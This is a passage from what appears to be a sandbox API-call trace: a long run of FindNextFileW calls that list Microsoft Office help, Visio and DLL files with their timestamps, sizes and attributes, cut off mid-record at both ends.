ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x8d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.VSL", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ede00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7ede00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x77f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDIFF.VRD", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ede00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7ede00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x51d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDUCT.VRD", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x75790, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFINTL.DLL", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98679500, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98679500, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x174d06, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH.HXS", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98679500, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98679500, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x697e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR.HXS", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_COL.HXC", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_COL.HXT", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_COL.HXC", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8c8500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f8c8500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_COL.HXT", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8c8500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f8c8500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8c8500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f8c8500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x108a400, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x108a400, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="INSTLIST.VRD", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37deba00, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x37deba00, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="INVENTRY.VRD", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3491f00, ftCreationTime.dwHighDateTime=0x1ca0f52, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3491f00, ftLastWriteTime.dwHighDateTime=0x1ca0f52, nFileSizeHigh=0x0, nFileSizeLow=0x2bc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Invite or Link.one", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x22a590, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPDSINTL.DLL", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xd7b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPEDINTL.DLL", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3e7b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPOLKINTL.DLL", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f81800, ftCreationTime.dwHighDateTime=0x1c913a0, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66f81800, ftLastWriteTime.dwHighDateTime=0x1c913a0, nFileSizeHigh=0x0, nFileSizeLow=0x3cebf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Issue Tracking.gta", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x509e9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="JADE.CSS", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe69b00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50a35820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xafe69b00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x9980, dwReserved0=0x0, dwReserved1=0x0, cFileName="LGND.VSL", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x112970, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x1a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x907d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELLR.DLL", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50aa7c40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x100fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MERES.DLL", cAlternateFileName="")) returned 1 [0069.410] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe105a200, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe105a200, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x6cf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.DLL", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7146200, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7146200, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x9b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b00b00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50aa7c40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1b00b00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x58c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOVE.VRD", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50aa7c40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x3178, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPXRES.DLL", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e84c00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88e84c00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0xa3f874, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV.HXS", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e4c000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37e4c000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e4c000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37e4c000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e4c000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37e4c000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e84c00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88e84c00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x3b2c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.HXS", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_COL.HXC", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33200c00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33200c00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_COL.HXT", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33200c00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33200c00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33200c00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33200c00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x127f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAIN.DLL", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x589e0a00, ftCreationTime.dwHighDateTime=0x1c99224, ftLastAccessTime.dwLowDateTime=0x980ce30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x589e0a00, ftLastWriteTime.dwHighDateTime=0x1c99224, nFileSizeHigh=0x0, nFileSizeLow=0x9382, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe15bf200, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe15bf200, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x69560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC.HXS", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_COL.HXC", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_COL.HXT", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, 